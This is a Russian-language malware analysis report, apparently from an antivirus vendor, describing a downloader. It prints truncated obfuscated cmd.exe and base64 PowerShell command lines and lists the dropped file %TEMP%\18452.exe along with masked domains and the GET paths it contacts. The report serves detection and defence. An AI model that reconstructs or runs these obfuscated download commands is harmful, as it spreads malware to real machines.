Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /v /c "set %ibXMDDuvj%=wers&&set %DXGlzQqzP%=ptiNFKMKj&&set %ZHWHpPwwi%=po&&set %hNDTNtjJD%=wXwfWVsWw&&set %SVQEWNZTm%=hell&&set %jwcHWEnEB%=EbqZhLEBn&&!%ZHWHpPwwi%!!%ibXMDDuvj%!!%S...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\18452.exe
Сетевая активность
Подключается к
- 'au#####ege-peters.de':80
- 'au#####metik-peters.de':443
- 'ar####ks-grafik.de':80
- 'at##one.de':80
- 'se#####anhofmann.com':80
TCP
Запросы HTTP GET
- http://au#####ege-peters.de/TNNMIsq/
- http://ar####ks-grafik.de/qWHNMJZ/
- http://at##one.de/vyDFRy/
- http://se#####anhofmann.com/fintxL/
Другие
- 'au#####metik-peters.de':443
UDP
- DNS ASK au#####ege-peters.de
- DNS ASK au#####metik-peters.de
- DNS ASK aq##.org
- DNS ASK ar####ks-grafik.de
- DNS ASK at##one.de
- DNS ASK se#####anhofmann.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /v /c "set %ibXMDDuvj%=wers&&set %DXGlzQqzP%=ptiNFKMKj&&set %ZHWHpPwwi%=po&&set %hNDTNtjJD%=wXwfWVsWw&&set %SVQEWNZTm%=hell&&set %jwcHWEnEB%=EbqZhLEBn&&!%ZHWHpPwwi%!!%ibXMDDuvj%!!%S...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e WwBzAHQAUgBpAE4ARwBdADoAOgBKAG8AaQBOACgAJwAnACAALAAoACgAMwA2ACAALAAxADEAOQAsACAAMQAxADUAIAAsACAAOQA5ACwAIAAxADEANAAgACwAIAAxADAANQAsACAAMQAxADIAIAAsACAAMQAxADYALAAzADIALAAgADYAMQAgACwAMwAyAC...
